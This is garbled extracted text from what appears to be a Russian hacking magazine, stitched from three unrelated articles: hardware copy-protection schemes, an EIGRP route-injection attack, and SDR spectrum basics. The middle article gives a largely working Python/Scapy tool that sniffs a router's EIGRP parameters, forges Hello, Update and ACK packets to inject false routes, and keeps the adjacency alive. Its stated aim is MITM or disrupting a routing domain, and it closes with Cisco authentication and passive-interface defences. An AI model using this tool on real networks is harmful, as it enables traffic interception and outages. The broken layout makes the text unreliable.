на линии, при нима емые за 0 и 1). Как таковой допол нитель ной защиты этот
под ход зачас тую не дает, но нем ного зат рудня ет вме шатель ство, пос коль ку
тре бует допол нитель ного вре мени и тех ничес ких средств.

Кас томная кон фигура ция не всег да будет под держи вать ся аппа рат но. Нап- 
ример, в ATmega не получит ся скон фигури ровать USART для исполь зования
четырех или, наобо рот, десяти бит дан ных в фрей ме. В таких слу чаях при- 
ходит ся реали зовы вать жела емое прог рам мно, по сра баты ванию тай мера,
нас тро енно го на дли тель ность одно го бита, уста нав ливая логичес кий уро- 
вень на выводе GPIO, соот ветс тву ющий зна чению переда ваемо го бита.
Это называ ется bit-banging, что мож но воль но перевес ти как «перес тукива ние
битами». Ана логич ным спо собом пос тупа ют, ког да устрой ство прос то
не содер жит тре буемо го аппа рат ного интерфей са, как, нап ример, мно гие
модели ATtiny.

Ма нипу ляции на физичес ком уров не — обо юдоос трое ору жие. Да, перех ват
дан ных в такой сис теме может быть нет риви аль ным, и эму лиро вать ее
популяр ным МК обще го наз начения тоже может быть неп росто. Но и раз- 
работ чику сис темы точ но так же пот ребу ются нет риви аль ные схе мотех ничес- 
кие решения, необыч ные ком понен ты и прог рам мная эму ляция вмес то аппа- 
рат ного при емо пере дат чика. Такой метод был отно ситель но популя рен
в прош лом, но сей час прак тичес ки не встре чает ся.

Оче вид ная защита на прог рам мном уров не — это, конеч но же, шиф- 
рование переда ваемых дан ных. Проб лема здесь в том, что прос тые под ста- 
новоч ные и перес тановоч ные шиф ры отно ситель но лег ко взло мать или под- 
делать. Дей стви тель но, в нашем слу чае на самом деле не так уж важ но, пред- 
став ляет ся ли зна чение счет чика как 0x020E или дру гим чис лом, глав ное —
най ти его в пакете дан ных и затем вос про извести. В край нем слу чае мы
можем прос то скли кать счет чик до нуля, на каж дом эта пе сох раняя соот ветс- 
тву ющее зна чение. Более же раз витые алго рит мы шиф рования, обес печива- 
ющие  дос таточ ной сте пени, тре буют сущес твен но боль ше
вычис литель ных ресур сов, а это под разуме вает более мощ ный и дорогой
мик рокон трол лер, боль ше пот ребле ния энер гии, более круп ные габари ты.

ла вин ный эффект

Ла вин ный эффект в крип тогра фии выража ется
в том, что изме нение неболь шой час ти шиф- 
руемо го сооб щения вызыва ет изме нение зна- 
читель ной час ти шиф ра. В нашем слу чае изме- 
нение величи ны счет чика при водит к изме нению
одно го, мак симум двух байт переда ваемо го
пакета общей дли ной 12 байт. В слу чае исполь- 
зования шиф рования с выражен ным лавин ным
эффектом мог ли бы менять ся 6, 8 или даже
все 12 байт!

Дру гой сце нарий прог рам мной защиты сос тоит в том, что бы спер ва под твер- 
дить под линность одно го из учас тни ков обме на дан ными (в нашем слу чае
кар трид жа), а уже затем обме нивать ся дан ными в откры том или шиф рован- 
ном виде.

В качес тве при мера рас смот рим рас простра нен ный в авто мобиль ной
индус трии про токол аутен тифика ции . Суть сос тоит в том, что обо им
учас тни кам соеди нения извес тна некото рая сек ретная матема тичес кая фун- 
кция. При попыт ке соеди нения сер вер переда ет ини циато ру соеди нения слу- 
чай ное зна чение — seed. Ини циатор соеди нения пре обра зовы вает это зна- 
чение пос редс твом сек ретной фун кции. Резуль тат пре обра зова ния — key —
воз вра щает ся на сер вер. Сер вер же в свою оче редь выпол няет точ но такое
же пре обра зова ние и срав нива ет получив шееся зна чение с тем, что отпра вил
кли ент. Если зна чения сов пада ют, аутен тифика ция счи тает ся успешной.

Seed-Key

Ба зовые реали зации такого метода прос ты, но под верже ны брут форсу.
Более прод винутый вари ант — при мене ние циф ровой под писи для под- 
твержде ния под линнос ти передан ного набора дан ных (имен но этот под ход c
2020-х годов исполь зует один из круп ных авто кон цернов, что бы осложнить
жизнь неофи циаль ным авто диаг ностам, тюнерам и вся чес ким смот чикам
про бегов). Но здесь сно ва воз ника ет необ ходимость исполь зования серь- 
езных вычис литель ных ресур сов.

На конец, раз работ чики при бега ют к исполь зованию спе циаль ных аппа- 
рат ных средств, к при меру Atmel CryptoMemory — памяти, спе циаль но раз- 
работан ной для защиты от копиро вания и кло ниро вания (хотя и эту тех- 
нологию нель зя наз вать неуяз вимой, ). Сущес тву ют аппа рат ные решения
и для аутен тифика ции циф ровых устрой ств, в час тнос ти Atmel
CryptoAuthentication и Maxim DeepCover ( ).

PDF

PDF

DeepCover и некото рые дру гие про дук ты исполь- 
зуют  вмес то
при выч ных крип тогра фичес ких алго рит мов
для генера ции уни каль ных иден тифика торов.
ФНФ полага ется на 
полуп ровод никово го крис талла и поз воля ет
исклю чить необ ходимость мас сивных матема- 
тичес ких вычис лений, а сле дова тель но, избе жать
повышен ных тре бова ний к ресур сам мик рокон- 
трол лера.

фи зичес ки нек лониру емые фун кции

фи зичес кие осо бен ности

https://github.com/flexits/libUART-uc
https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D1%87%D0%B8%D1%81%D0%BB%D0%BE_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
https://com0com.sourceforge.net/
https://ru.wikipedia.org/wiki/%D0%9B%D0%B0%D0%B2%D0%B8%D0%BD%D0%BD%D1%8B%D0%B9_%D1%8D%D1%84%D1%84%D0%B5%D0%BA%D1%82
https://www.engr.colostate.edu/~jdaily/presentations/2017%20Seed%20Key%20Exchange.pdf
https://eprint.iacr.org/2010/169.pdf
https://pdfserv.maximintegrated.com/en/sg/DeepCover-Embedded-Security-Solutions.pdf
https://ru.wikipedia.org/wiki/PUF
https://pdfserv.maximintegrated.com/en/an/ChipDNA-Unclonable-Protects-Embedded-Systems.pdf
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КОДИНГ

В этой статье я покажу, как на Python мож- 
но сде лать инъ екцию лож ных мар шру тов
в домен EIGRP. При некото ром везении
такая инъ екция поз волит зло умыш ленни ку
про вес ти ата ку типа MITM или на некото- 
рое вре мя устро ить хаос в домене мар- 
шру тиза ции. Мы в деталях раз берем про- 
цесс уста нов ления соседс тва с мар шру- 
тиза тором и обмен мар шрут ной информа- 
цией, а в качес тве бонуса смас терим нес- 
ложный гра фичес кий интерфейс.

ÊÐÀÒÊÈÉ ËÈÊÁÅÇ ÏÎ EIGRP

EIGRP — это про токол динами чес кой мар шру тиза ции, по клас сифика ции
отно сящий ся к дис танци онно-век торным про токо лам (Distance Vector) внут- 
ренне го шлю за (IGP). Ниже — схе ма стро ения EIGRP.

Каж дый пакет EIGRP содер жит 20-бай товый заголо вок со сле дующи ми
полями.
1.  — вер сия про токо ла никог да не изме нялась и име ет зна чение 2.Version

2.  (Operation Code) — поле, опре деля ющее тип пакета. Нам инте- 

рес ны толь ко два зна чения это го поля: 1 и 5. Зна чение 5 опре деля ет Hello-
пакет, а зна чение 1 — Update-пакет. Про типы пакетов погово рим чуть
поз же.

Opcode

3.  — кон троль ная сум ма.Ñhecksum

4.  — это поле при нима ет все го четыре зна чения: 0x1, 0x2, 0x4 и 0x8.
Нам будут инте рес ны толь ко пер вое и пос леднее зна чения.
Flags

5.  (SEQ) и  (ACK) —

это поряд ковый номер пакета и номер под твержде ния соот ветс твен но
(пря мо как в TCP и UDP). Эти поля обес печива ют надеж ную дос тавку
EIGRP-пакетов.

Sequence Number Acknowledgment Number

6.  — вир туаль ный иден тифика тор роуте ра.Virtual Router ID

7.  — номер авто ном ной сис темы (AS),
в которой работа ет мар шру тиза тор.
Autonomous System Number

За этим заголов ком сле дует TLV (Type, Length, Value) — гру бо говоря, это вто- 
рой заголо вок перемен ного зна чения, который может содер жать информа- 
цию о мар шру тах, парамет рах роуте ра, вер сии про шив ки, аутен тифика ции
и так далее. Это похоже на стро ение DHCP, где пос ле IP-заголов ка сле дует
DHCP, а за ним — заголо вок BOOTP.

Те перь погово рим про сооб щения EIGRP. В про цес се мар шру тиза ции
EIGRP опе риру ет сле дующи ми типами пакетов (сооб щени ями):

 Сооб щения при ветс твия отправ ляют ся на муль тикас товый

адрес 224.0.0.10 и име ют код опе рации (opcode) рав ный 5. По умол чанию
интервал отправ ки Hello-пакетов сос тавля ет 5 секунд.

• Hello.

 При помощи Update-пакетов мар шру тиза торы сооб щают друг
дру гу информа цию обо всех извес тных им сетях (при пер вичном уста нов- 
лении соседс тва), информа цию о кон крет ных сетях, в слу чае перес тро- 
ения мар шру та до них или ког да сеть наз начения боль ше не дос тупна.
Такие сооб щения могут отправ лять ся как на юни кас товый, так и на муль- 
тикас товый адре са. В теле Update-пакета содер жится сле дующая
информа ция: адрес сети наз начения, пре фикс мас ки сети, адрес сле- 
дующе го перехо да, количес тво перехо дов, про пус кная спо соб ность,
задер жка, надеж ность, заг рузка и MTU. Получе ние Update-пакета под- 
твержда ется отправ кой ACK.

• Update.

 Этот тип сооб щения отправ ляет ся как ответ на успешное получе ние

всех осталь ных типов сооб щений, кро ме Hello. В поле ACK заголов ка
EIGRP записы вает ся чис ловое зна чение: берет ся поле SEQ того сооб- 
щения, на которое отправ ляет ся под твержде ние, и при бав ляет ся еди ница.

• ACK.

И в сооб щении Hello, и в сооб щении ACK поле
 всег да рав но 5. Что это зна чит? Получа- 

ется, что, к при меру, в ответ на сооб щение
Update отправ ляет ся, по сути, Hello-пакет?
Отчасти да, но это не сов сем так. Ненуле вое зна- 
чение поля ACK прев раща ет сооб щение Hello
в сооб щение ACK. Таким обра зом, нес мотря
на оди нако вое зна чение поля opcode, сооб щения
отли чает зна чение поля ACK.

opcode

Так же EIGRP опе риру ет еще нес коль кими сооб щени ями: Query, Reply, SIA-
Query и SIA-Reply. Но они нам неин терес ны, поэто му про пус каем их.

Пе ред тем как мы будем уста нав ливать соседс тво, перечис лю необ- 
ходимые для него усло вия:

па рамет ры аутен тифика ции дол жны быть оди нако выми (при наличии
самой аутен тифика ции);

•

зна чения K-коэф фици ентов так же дол жны быть оди нако выми;•
мар шру тиза торы дол жны находить ся в одной авто ном ной сис теме (AS).•

По умол чанию Hello- и Dead-интерва лы сос тавля ют 5 и 15 секунд соот ветс- 
твен но. В отли чие от OSPF эти интерва лы не обя заны сов падать на мар шру- 
тиза торах для уста нов ления соседс тва. Но мы уста новим иден тичные зна- 
чения тай меров.

ÃÐÀÔÈ×ÅÑÊÈÉ ÈÍÒÅÐÔÅÉÑ. ÓÇÍÀЁÌ ÍÅÎÁÕÎÄÈÌÛÅ
ÏÀÐÀÌÅÒÐÛ ÌÀÐØÐÓÒÈÇÀÒÎÐÀ

Как ты уже понял, писать код я буду на Python. Для фор мирова ния сетевых
пакетов нам понадо бит ся биб лиоте ка Scapy. Связ ка из Scapy и Python прос- 
та, удоб на и прак тична.

По ходу дела нам не при дет ся искать роутер, под держи вающий EIGRP,
или нас тра ивать вир туаль ный. Дос таточ но иметь дос туп к сети с доменом
EIGRP.

Преж де чем искать мар шру тиза торы EIGRP и уста нав ливать с ними
соседс тво, хочу показать инте рак тивный гра фичес кий интерфейс сво его
скрип та.

Для уста нов ления соседс тва на мар шру тиза торах дол жны сов падать нес коль- 
ко парамет ров, к тому же для отправ ки EIGRP-пакетов кон крет ному роуте ру
нам нуж но знать его каналь ный и сетевой адре са. Поэто му не хотелось бы
выс матри вать тра фик в Wireshark и искать парамет ры мар шру тиза тора,
с которым мы захотим «под ружить ся». Будет куда удоб нее прос то запус тить
прос лушива ние и зах ват пакетов EIGRP, а затем записать парамет ры (IP-
адрес, MAC-адрес, номер AS, Hold-тай мер и зна чения K-коэф фици ентов)
в удоб ные для нас перемен ные, что бы даль ше ими опе риро вать при краф- 
тинге пакетов.

При нажатии на кноп ку Scan запус тится прос лушива ние и зах ват одно го
EIGRP-пакета ( ) через интерфейс Ethernet, а затем этот пакет

передас тся в фун кцию  для даль нейших опы тов:

ip proto 88
analyze_packet()

         sniff(filter="ip proto 88", prn = analyze_packet, count = 1, iface =
"Ethernet")

А вот, собс твен но, и сама фун кция:

 def analyze_packet(packet):
  if packet.haslayer(EIGRP):
    global target_mac
     target_mac = packet[Ether].src
  if packet.haslayer(EIGRP):
    global target_ip
     target_ip = packet[IP].src
  if packet.haslayer(EIGRP):
    global autonomous_system
     autonomous_system = packet[EIGRP].asn
  if packet.haslayer(EIGRP):
     k1 = packet[EIGRPParam].k1
     k2 = packet[EIGRPParam].k2
     k3 = packet[EIGRPParam].k3
     k4 = packet[EIGRPParam].k4
     k5 = packet[EIGRPParam].k5
  if packet.haslayer(EIGRP):
    global hold_time
     hold_time = packet[EIGRPParam].holdtime

Фун кция счи тыва ет из зах вачен ного пакета MAC- и IP-адрес мар шру тиза тора,
авто ном ную сис тему, где он работа ет, зна чения K-коэф фици ентов, Dead-
интервал и записы вает их в соот ветс тву ющие перемен ные. На скрин шоте
ниже — то, как эти парамет ры отоб ража ются в гра фичес ком интерфей се.

ÊÐÀÔÒÈÌ HELLO-ÏÀÊÅÒ È ÄÐÓÆÈÌ Ñ EIGRP-ÐÎÓÒÅÐÎÌ

Те перь у нас есть все необ ходимые дан ные, что бы отпра вить наш пер вый
Hello-пакет. Для это го мне нуж но сра зу в под разде ле «Парамет ры инъ екции»
ввес ти жела емое количес тво лож ных сетей наз начения вмес те с пре фик сами
масок и нажать кноп ку Run.

При нажатии на кноп ку запус кает ся фун кция , пос ле

чего вве ден ные зна чения полей для адре сов сетей и пре фик сов переда ются
в соот ветс тву ющие перемен ные:

run_Button_command()

  internal_net_1 = input_net_internal_1.get()
  internal_net_2 = input_net_internal_2.get()
  internal_net_3 = input_net_internal_3.get()

  internal_prefix_1 = input_prefix_internal_1.get()
  internal_prefix_2 = input_prefix_internal_2.get()
  internal_prefix_3 = input_prefix_internal_3.get()

  external_net_1 = input_net_external_1.get()
  external_net_2 = input_net_external_2.get()
  external_net_3 = input_net_external_3.get()

  external_prefix_1 = input_prefix_external_1.get()
  external_prefix_2 = input_prefix_external_2.get()
  external_prefix_3 = input_prefix_external_3.get()

Те перь выяс ним, какие поля запол нены, а какие не запол нены, и в соот ветс- 
твии с этим опре делим, какие сети будут переда вать ся в сооб щении EIGRP
Update. Если, нап ример, поля внеш них мар шру тов не запол нены, то в пакете
обновле ния будут толь ко внут ренние мар шру ты, и наобо рот:

           
 
if internal_net_1 != "" and internal_net_2 != "" and internal_net_3

!= "":
   

  \ 
     internal_route = EIGRPIntRoute(nexthop="0.0.0.0", dst=
internal_net_1, prefixlen=int(internal_prefix_1))

  
  \ 

                    / EIGRPIntRoute(nexthop="0.0.0.0", dst=
internal_net_2, prefixlen=int(internal_prefix_2))

  
 

                    / EIGRPIntRoute(nexthop="0.0.0.0", dst=
internal_net_3, prefixlen=int(internal_prefix_3))
            

  
if internal_net_1 != "" and internal_net_2 != "" and

internal_net_3 == "":
   

  \ 
     internal_route = EIGRPIntRoute(nexthop="0.0.0.0", dst=
internal_net_1, prefixlen=int(internal_prefix_1))

  
 

                    / EIGRPIntRoute(nexthop="0.0.0.0", dst=
internal_net_2, prefixlen=int(internal_prefix_2))
          if internal_net_1 != "" and internal_net_2 == "":

   
 

     internal_route = EIGRPIntRoute(nexthop="0.0.0.0", dst=
internal_net_1, prefixlen=int(internal_prefix_1))
      if internal_net_1 == "":

       internal_route = ""

            
  

if external_net_1 != "" and external_net_2 != "" and
external_net_3 != "":

   
  \ 

     external_route = EIGRPExtRoute(nexthop="0.0.0.0", dst=
external_net_1, prefixlen=int(external_prefix_1))

  
  \ 

                    / EIGRPExtRoute(nexthop="0.0.0.0", dst=
external_net_2, prefixlen=int(external_prefix_2))

  
 

                    / EIGRPExtRoute(nexthop="0.0.0.0", dst=
external_net_3, prefixlen=int(external_prefix_3))
            

  
if external_net_1 != "" and external_net_2 != "" and

external_net_3 == "":
   

  \ 
     external_route = EIGRPExtRoute(nexthop="0.0.0.0", dst=
external_net_1, prefixlen=int(external_prefix_1))

  
 

                    / EIGRPExtRoute(nexthop="0.0.0.0", dst=
external_net_2, prefixlen=int(external_prefix_2))
          if external_net_1 != "" and external_net_2 == "":

   
 

     external_route = EIGRPExtRoute(nexthop="0.0.0.0", dst=
external_net_1, prefixlen=int(external_prefix_1))
      if external_net_1 == "":

       external_route = ""

Об рати вни мание на параметр . Он говорит, что доб рать- 

ся до этой сети наз начения мож но через тот узел, который отпра вил
это сооб щение EIGRP Update, — то есть через нас.

nexthop="0.0.0.0"

На конец, собира ем пакет EIGRP Hello. Для это го вызыва ем фун кцию
:hello()

  def hello():
       

     
       

hello_packet = Ether(dst="01:00:5e:00:00:0a") / IP(dst="224.0.0.
10") / EIGRP(opcode=5, asn=autonomous_system) / EIGRPParam(holdtime=
hold_time, k1=k1, k2=k2, k3=k3, k4=k4, k5=k5) / EIGRPSwVer(ios=ios)
     sendp(hello_packet, iface="Ethernet", count=1)
 hello()

Так как Hello-пакеты отправ ляют ся на муль тикас товые адре са, в Ethernet-кад- 
ре и IP-пакете в качес тве адре са наз начения прос тавля ем 

 и  соот ветс твен но. Пакеты с такими адре сами слу шает толь ко
EIGRP.

01:00:5e:00:00:
0a 224.0.0.10

Об рати вни мание, что зна чения коэф фици ентов, авто ном ной сис темы,
вер сии IOS и Dead-интерва ла берут ся из перемен ных фун кции

, куда мы переда вали зах вачен ный пакет EIGRP. А зна чение

 говорит о том, что это дей стви тель но Hello-пакет.

analyze_packet
opcode=5

Пе ред отправ кой пос мотрим таб лицу мар шру тиза ции на мар шру тиза торе.

А теперь таб лицу соседей EIGRP.

Ни там ни там ничего нет. Таб лица соседей пус тая, а соот ветс твен но, и в таб- 
лице мар шру тиза ции нет мар шру тов, получен ных по EIGRP. Жмем Run
и отправ ляем Hello-пакет мар шру тиза тору. Пос мотрим на вза имо дей ствие
изда лека.

Как толь ко мы отпра вили Hello-пакет, мар шру тиза тор его получил, понял, что
он нашел соседа, и тут же отпра вил нам сооб щение Update. Но в заголов ке
EIGRP нет анон сиру емых сетей, про которые зна ет мар шру тиза тор.

Те перь обра ти вни мание на поле : его зна чение 1 — Init. Нас тало
вре мя погово рить об этом поле под робнее. Дело в том, что EIGRP отправ ляет
два пакета обновле ния. Пер вый пакет — с фла гом 1, который озна чает ини- 
циали зацию и исполь зует ся при пер вом пос тро ении смеж ности с дру гим
мар шру тиза тором. И, как ты уже догадал ся, нам сле дует ждать вто рого
Update-пакета, где мар шру тиза тор уже отпра вит нам мар шру ты до сетей,
о которых он зна ет. Нам от него ничего не надо, но наш мни мый роутер будет
веж ливым и отпра вит ему в ответ сооб щение ACK. А сде лал я это сле дующим
обра зом:

Flags

  def ack_send(packet):
        if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 1:
     ack = packet[EIGRP].seq
         

  
ack_packet = Ether(dst=target_mac) / IP(dst=target_ip) / EIGRP(

opcode=5, asn=autonomous_system, ack=ack)
     sendp(ack_packet, iface="Ethernet", count=1)
    sniff(filter="ip proto 88", prn=ack_send, count=5, iface="Ethernet"
)

Сра зу пос ле отправ ки Hello-пакета еще раз запус каем прос лушива ние
EIGRP-пакетов, зах ватыва ем их и переда ем в фун кцию . Там мы
выяс няем поряд ковый номер зап роса (Seq) и запоми наем его в перемен ной
ACK. Пос ле это го мы фор миру ем ACK-сооб щение, где в поле  ука- 

зыва ем зна чение 5 (как в Hello-пакете). Но, как мы уже зна ем, ненуле вое зна- 
чение поля под твержде ния озна чает, что это пакет EIGRP ACK, и поэто му
в это поле помеща ем перемен ную ACK.

ack_send()

opcode

Еще раз пос мотрим на дамп тра фика и убе дим ся, что мы отпра вили сооб- 
щение под твержде ния.

Продолжение статьи →
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ОТРАВЛЯЕМ ТАБЛИЦУ
МАРШРУТИЗАЦИИ НА PYTHON

КОДИНГ  НАЧАЛО СТАТЬИ←

Под твержде ние успешно отправ лено, но мар шру тиза тор дол жен отпра вить
еще один Update-пакет, который ждет фун кция .ack_send()

А вот и вто рой Update-пакет, где мар шру тиза тор отправ ляет нам все извес- 
тные ему мар шру ты (в нашем при мере все го один — до сети 

) и говорит, что на этом переда ча обновле ний завер шена, о чем сви детель- 

ству ет флаг 8 — End Of Table. Так же он уве личил номер зап роса (SEQ) на еди- 
ницу (4 + 1 = 5).

100.100.100.0/
24

Еще раз отправ ляет ся под твержде ние.

ÂÂÎÄÈÌ ÈÍÚÅÊÖÈÞ ËÎÆÍÛÕ ÌÀÐØÐÓÒÎÂ

Те перь наша оче редь отправ лять обновле ния. Сде лаем свои собс твен ные
номера зап росов ран домны ми, переда дим их в перемен ную  и запус тим

фун кцию :

seq
update()

  def update():
        \ init_packet = Ether(dst=target_mac) / IP(dst=target_ip)

                     / EIGRP(opcode=1, asn=autonomous_system, seq=seq,
flags=1)
     sendp(init_packet, iface="Ethernet", count=1)
        \ update_packet = Ether(dst=target_mac) / IP(dst=target_ip)

     
  \ 
                / EIGRP(opcode=1, asn=autonomous_system, seq=seq + 1
, flags=8)

                   / internal_route / external_route
     sendp(update_packet, iface="Ethernet", count=1)
    seq = random.randint(1, 99)
 update()

Пер вым делом скраф тим пакет ини циали зации, где ука жем сге нери рован ный
нами номер зап роса и флаг ини циали зации (зна чение 1). Готово. Отправ- 
ляем.

Не дожида ясь сооб щения о под твержде нии, краф тим вто рой Update-пакет,
где ука зыва ем уве личен ный на еди ницу номер под твержде ния, флаг End
Of Table и, самое глав ное, лож ные мар шру ты (перемен ные 

и , в которые мы их записа ли ранее). Отправ ляем тоже.

internal_route
external_route

А теперь ждем два ACK-под твержде ния.

Мы получи ли два под твержде ния, а это зна чит, что мар шру тиза тор при нял
наши обновле ния и добавил их в свою таб лицу мар шру тиза ции. Но про верим
мы это поз же. Нам нуж но еще добить ся под держа ния соседс тва. Давай
еще раз гля нем на тра фик.

Пос ле пол ной син хро низа ции мар шру тиза торов даль нейшие обновле ния
отправ ляют ся в виде мно гоад ресной рас сылки. Вот мы и видим, что мар шру- 
тиза тор отправ ляет дру гим мар шру тиза торам сооб щение Update на муль- 
тикас товый адрес с новыми, толь ко что получен ными мар шру тами. Но кро ме
него, никого боль ше нет, поэто му, что бы он не спа мил сво ими обновле ниями
и успо коил ся, отпра вим ему под твержде ние. Этот кусочек кода выпол няет ся
сра зу пос ле отправ ки наших обновле ний.

  def exchange_successfully(packet):
       if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 1:
     ack = packet[EIGRP].seq
         

  
ack_packet = Ether(dst=target_mac) / IP(dst=target_ip) / EIGRP(

opcode=5, asn=autonomous_system, ack=ack)
     sendp(ack_packet, iface="Ethernet", count=1)

       if packet.haslayer(EIGRP) and packet[EIGRP].opcode == 1:
    if packet.haslayer(EIGRPIntRoute):
         

      
      

    
  

if packet[EIGRPIntRoute].dst == internal_net_1 or packet[
EIGRPIntRoute].dst == internal_net_2 or packet[EIGRPIntRoute].dst ==
internal_net_3 or packet[EIGRPExtRoute].dst == external_net_1 or
packet[EIGRPExtRoute].dst == external_net_2 or packet[EIGRPExtRoute].
dst == external_net_3:

     
  

     success_label = tk.Label(root, relief="solid", borderwidth=0.2,
highlightbackground="black", highlightcolor="black",
highlightthickness=1)

        ft = tkFont.Font(family='Times', size=11)
       success_label["font"] = ft

       success_label["fg"] = "#333333"
       success_label["justify"] = "center"

       success_label["text"] = "Инъекция успешно введена!"
        success_label.place(x=20, y=630, width=563, height=75)

    sniff(filter="ip proto 88", prn=exchange_successfully, count=1,
iface="Ethernet")

Пос ле отправ ки обновле ний сра зу начина ется сни финг Update-пакетов
и отправ ка под твержде ния на них. Кро ме того, код ана лизи рует зах вачен ный
Update-пакет, и, если он находит там адре са сетей, которые мы отпра вили
в сво ем обновле нии, зна чит, мар шру тиза тор получил их и добавил в свою
таб лицу мар шру тиза ции. В интерфей се прог раммы появ ляет ся уве дом ление,
которое говорит об успешной инъ екции мар шру тов.

Де ло за малым: под держи вать соседс тво с мар шру тиза тором, что бы он
не обну лил свою таб лицу мар шру тиза ции. В кон це прос то зацик лим отправ ку
Hello-пакетов на муль тикас товые адре са:

     
    

       

hello_packet = Ether(dst="01:00:5e:00:00:0a") / IP(dst="224.0.0.10")
/ EIGRP(opcode=5, asn=autonomous_system) / EIGRPParam(holdtime=
hold_time, k1=k1, k2=k2, k3=k3, k4=k4, k5=k5) / EIGRPSwVer(ios=ios)

   sendp(hello_packet, iface="Ethernet", loop=1, inter=5)

Здесь параметр  — это как раз таки и есть зацик ливание бес конеч ной
отправ ки пакетов, а  — интервал их отправ ки, который по умол чанию

равен 5 секун дам.

loop=1
inter=5

Вот пол ная кар тина того, как это все про изош ло за доли секун ды.

ÏÐÎÂÅÐßÅÌ

Сра зу пос ле отправ ки нами пер вого Hello-пакета мар шру тиза тор отоб разил
в логе кон соли сооб щение о том, что за интерфей сом Gi0/1 нашел ся сосед
EIGRP с IP-адре сом 192.168.0.102.

Пос мотрим на таб лицу соседей.

Здесь тоже все в поряд ке. Мар шру тиза тор счи тает, что мы находим ся
за интерфей сом Gi0/1. Ну и самое инте рес ное — таб лица мар шру тиза ции.

Все прош ло успешно. Все шесть мар шру тов попали в таб лицу мар шру тиза- 
ции, и в качес тве next hop ука зан наш IP-адрес 192.168.0.102.

ÊÀÊ ÇÀÙÈÒÈÒÜÑß?

Øàã 1
Сле дует нас тро ить аутен тифика цию на мар шру тиза торе.

Соз даем клю чевую цепоч ку:

Router(config)# key chain myCHAIN 

Соз даем ключ в клю чевой цепоч ке:

Router(config-keychain)# key 1 

За даем пароль ную фра зу для клю ча:

Router(config-keychain-key)# key-string EIGRP_auth

Вклю чаем аутен тифика цию по MD5 для EIGRP за номером 100:

Router(config-if)# ip authentication mode eigrp 100 md5 

Ука зыва ем клю чевую цепоч ку, которую будем исполь зовать для аутен тифика-
ции:

Router(config-if)# ip authentication key-chain eigrp 100 myCHAIN 

Вот так выг лядит Hello-пакет с вклю чен ной аутен тифика цией на мар шру тиза- 
торе.

При вклю чен ной аутен тифика ции замет но уве личил ся раз мер пакета EIGRP:
с 74 до 114 байт, а поле Digest содер жит хеш пароль ной фра зы. Мар шру тиза- 
тор на дру гой сто роне срав нива ет этот хеш со сво им, и если они рав нознач- 
ны, то мар шру тиза торы ста новят ся соседя ми.

Øàã 2
Нуж но сде лать интерфей сы, которые смот рят в локаль ную или внут реннюю
сеть, пас сивны ми:

Router# conf t 
Router(config)# router eigrp 100 
Router(config-router)# passive-interface g0/1 

Мар шру тиза тор никак не будет реаги ровать, если на пас сивный интерфейс
при шел Hello-пакет, и сам не будет их отправ лять через него.
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GEEK

Waterfall, или водопад, — это спо соб визу- 
али зации сиг налов, который мож но встре- 
тить прак тичес ки во всех прог раммах
для работы с радио. Каж дая линия показы- 
вает спектр сиг нала, его час тоты и ампли- 
туду. А если нем ного покол довать, мож но
рисовать на этом водопа де кар тинки. Этим
мы сегод ня и зай мем ся.

При мер водопа да из прог раммы Gqrx

ÑÈÃÍÀË È ÅÃÎ ÑÏÅÊÒÐ

Спектр — это пред став ление сиг нала в час тотной области, которое показы- 
вает, какие имен но час тоты при сутс тву ют в сиг нале. Спектр быва ет ампли туд- 
ным и фазовым. Пер вый показы вает ампли туды час тот в сиг нале, а вто рой —
фазы этих час тот. В сов ремен ном мире, ког да кто-то пишет о спек тре, обыч- 
но под разуме вает ся имен но ампли туд ный спектр.

Сам спектр быва ет двух видов: неп рерыв ный и дис крет ный. Неп рерыв ный
спектр — это ког да сиг нал содер жит бес конеч ное чис ло ком понент, рас пре- 
делен ных в диапа зоне час тот. Дис крет ный — ког да сиг нал содер жит толь ко
опре делен ные час тотные ком понен ты. Такое харак терно для сиг налов,
которые сос тавле ны из, нап ример, сум мы синусо ид или косину соид.

Те перь нач нем с самого прос того — с синусо идаль ного сиг нала.

Все свои экспе римен ты с матема тикой я буду
делать в .Octave

Соз дадим синусо иду с ампли тудой 1 попугай и час тотой 5 Гц.

% Амплитуда 
A  1= ;
% Частота в герцах 
f  5= ;
% Длительность нашего сигнала в секундах 
T  1= ;
% Частота дискретизации, или количество точек в секунду. Этот 
параметр влияет на точность вывода: чем больше точек, тем точнее 
сигнал 
fs  100= ;

% Временной ряд 
t = 0:1/fs:T;

% Генерируем! 
y  A  sin 2  pi  f  t= * ( * * * );

plot t, y( );
xlabel('Время (с)');
ylabel('Амплитуда');
title('Синусоида');
grid on;

Пос ле запус ка это го кода в Octave ты получишь гра фик синусо иды.

Си нусо ида

На гра фике пять положи тель ных полупе риодов и пять отри цатель ных, потому
что дли тель ность — 1 с, а час тота — 5 Гц, вот и получа ется, что пол ных пери- 
одов имен но пять. Это самый прос той сиг нал, который име ет толь ко одну
час тоту в спек тре — это час тота самой синусо иды, то есть 5 Гц.

Ïðåîáðàçîâàíèå Ôóðüå

Пре обра зова ние Фурь (сим вол ℱ) — опе рация, сопос тавля ющая одной фун- 
кции вещес твен ной перемен ной дру гую (вооб ще говоря, ком плексноз- 
начную) фун кцию вещес твен ной перемен ной. Эта новая фун кция опи сыва ет
коэф фици енты («ампли туды») при раз ложении исходной фун кции на эле мен- 
тарные сос тавля ющие — гар моничес кие колеба ния с раз ными час тотами.

По сути, пре обра зова ние Фурье — это опе рация, которая поз воля ет раз- 
ложить сиг нал на его прос тые сос тавля ющие, то есть опре делить, из сум мы
каких сиг налов на каких час тотах он сос тоит.

Раз ложение сиг нала на эле мен ты с помощью пре обра зова ния Фурье

На кар тинке выше наг лядно показан про цесс такого раз ложения. Сум ма всех
синих сиг налов даст крас ный, а их час тоты показа ны на спек тре сиг нала
спра ва.

При пря мом пре обра зова нии Фурье мы получа ем на выходе ком плексное
чис ло, которое сос тоит из реаль ной и мни мой час ти.

Ком плексное чис ло — это рас ширен ное мно жес тво вещес твен ных чисел.
Ком плексные чис ла выг лядят сле дующим обра зом: a + bi, где a и b — вещес- 
твен ные чис ла, а i — мни мая еди ница. Мни мая еди ница — это корень из –1,
то есть .i² = –1

В радио очень широко исполь зуют ся ком плексные чис ла, так как они поз- 
